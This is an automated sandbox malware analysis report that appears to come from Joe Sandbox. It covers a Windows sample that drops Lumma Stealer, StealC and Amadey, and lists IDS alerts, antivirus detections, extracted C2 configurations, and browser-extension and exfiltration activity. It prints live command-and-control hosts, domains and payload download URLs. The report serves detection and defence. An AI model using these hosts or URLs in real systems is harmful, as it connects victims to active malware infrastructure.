ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.319573+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	64973	1.1.1.1	53	UDP
2024-11-11T19:53:24.591784+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	53147	1.1.1.1	53	UDP
2024-11-11T19:53:48.816687+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.5	56825	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.404799+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.5	60569	1.1.1.1	53	UDP
2024-11-11T19:53:24.668365+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.5	58768	1.1.1.1	53	UDP
2024-11-11T19:53:48.889061+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.5	63887	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.429948+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.5	58990	1.1.1.1	53	UDP
2024-11-11T19:53:24.698659+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.5	62266	1.1.1.1	53	UDP
2024-11-11T19:53:48.913399+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.5	54971	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.379124+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	53901	1.1.1.1	53	UDP
2024-11-11T19:53:24.644223+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	57938	1.1.1.1	53	UDP
2024-11-11T19:53:48.864997+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.5	57046	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.258542+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	50703	1.1.1.1	53	UDP
2024-11-11T19:53:24.536609+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	50060	1.1.1.1	53	UDP
2024-11-11T19:53:48.765955+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.5	63772	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.470648+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.5	54821	1.1.1.1	53	UDP
2024-11-11T19:53:24.730874+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.5	64091	1.1.1.1	53	UDP
2024-11-11T19:53:48.940434+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.5	54122	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.344150+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	63104	1.1.1.1	53	UDP
2024-11-11T19:53:24.619292+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	51257	1.1.1.1	53	UDP
2024-11-11T19:53:48.840089+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.5	54537	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:00.470498+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:00.464243+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:00.668655+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:01.599490+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:00.676042+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:15.545331+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50127	188.114.97.3	443	TCP
2024-11-11T19:54:09.286268+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50173	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:00.257364+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:53:18.135071+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50131	185.215.113.206	80	TCP
2024-11-11T19:53:29.430177+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50154	185.215.113.206	80	TCP
2024-11-11T19:53:36.384141+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50158	185.215.113.206	80	TCP
2024-11-11T19:53:57.937686+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50171	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:05.096576+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50118	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:11.027925+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50119	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:07.914361+0100	2803305	3	Unknown Traffic	192.168.2.5	50120	185.215.113.16	80	TCP
2024-11-11T19:53:13.331516+0100	2803305	3	Unknown Traffic	192.168.2.5	50124	185.215.113.16	80	TCP
2024-11-11T19:53:20.819936+0100	2803305	3	Unknown Traffic	192.168.2.5	50136	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:52:02.096140+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:52:22.005790+0100	2803304	3	Unknown Traffic	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:23.619025+0100	2803304	3	Unknown Traffic	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:24.128849+0100	2803304	3	Unknown Traffic	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:24.535136+0100	2803304	3	Unknown Traffic	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:25.157331+0100	2803304	3	Unknown Traffic	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:25.610693+0100	2803304	3	Unknown Traffic	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:29.653424+0100	2803304	3	Unknown Traffic	192.168.2.5	49914	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:20.823998+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50137	188.114.97.3	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:53:12.607798+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50122	23.192.247.89	443	TCP
2024-11-11T19:53:25.885802+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50148	23.192.247.89	443	TCP
2024-11-11T19:53:50.074341+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	50165	23.192.247.89	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/steam/random.exe6eG	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpT.	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exef-	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpSI	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/6.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsb	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exelencoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllS	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpp	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php)S.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpx	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpy	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/Microsoft	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000015.00000002.2468253524.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 25.2.5912d4444a.exe.d60000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "navygenerayk.store", "crisiwarny.store", "fadehairucw.store", "thumbystriw.store", "presticitpo.store", "scriptyprefej.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}
Source: b84e35a556.exe.4028.35.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: scriptyprefej.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: navygenerayk.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: founpiuer.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: necklacedmny.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: thumbystriw.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: fadehairucw.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: crisiwarny.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: presticitpo.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: presticitpo.store
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: - Screen Resoluton:
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: Workgroup: -
Source: 25.2.5912d4444a.exe.d60000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C666C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50173 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2463590258.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 9ec07c9018.exe, 0000001E.00000002.3041937318.00000000007B2000.00000040.00000001.01000000.00000011.sdmp, 9ec07c9018.exe, 0000001E.00000003.2908568728.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, 9ec07c9018.exe, 00000021.00000003.3067186057.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, 9ec07c9018.exe, 00000021.00000002.3107402927.00000000007B2000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50118 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:50703 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50119
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:53862 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.5:60569 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:64973 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.5:58990 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.5:54821 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:53901 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:63104 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50121 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50128 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50135 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50131 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:57938 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:50060 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.5:58768 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:53147 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.5:64091 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:49549 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.5:62266 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50146 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:62486 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:56825 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.5:54971 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50158 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:57046 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:54537 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50154 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.5:54122 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50171 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.5:63887 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:63772 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:51257 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50127 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50125 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50122 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50125 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50123 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50123 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50165 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50151 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50148 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50151 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50145 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50149 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50149 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50173 -> 188.114.97.3:443
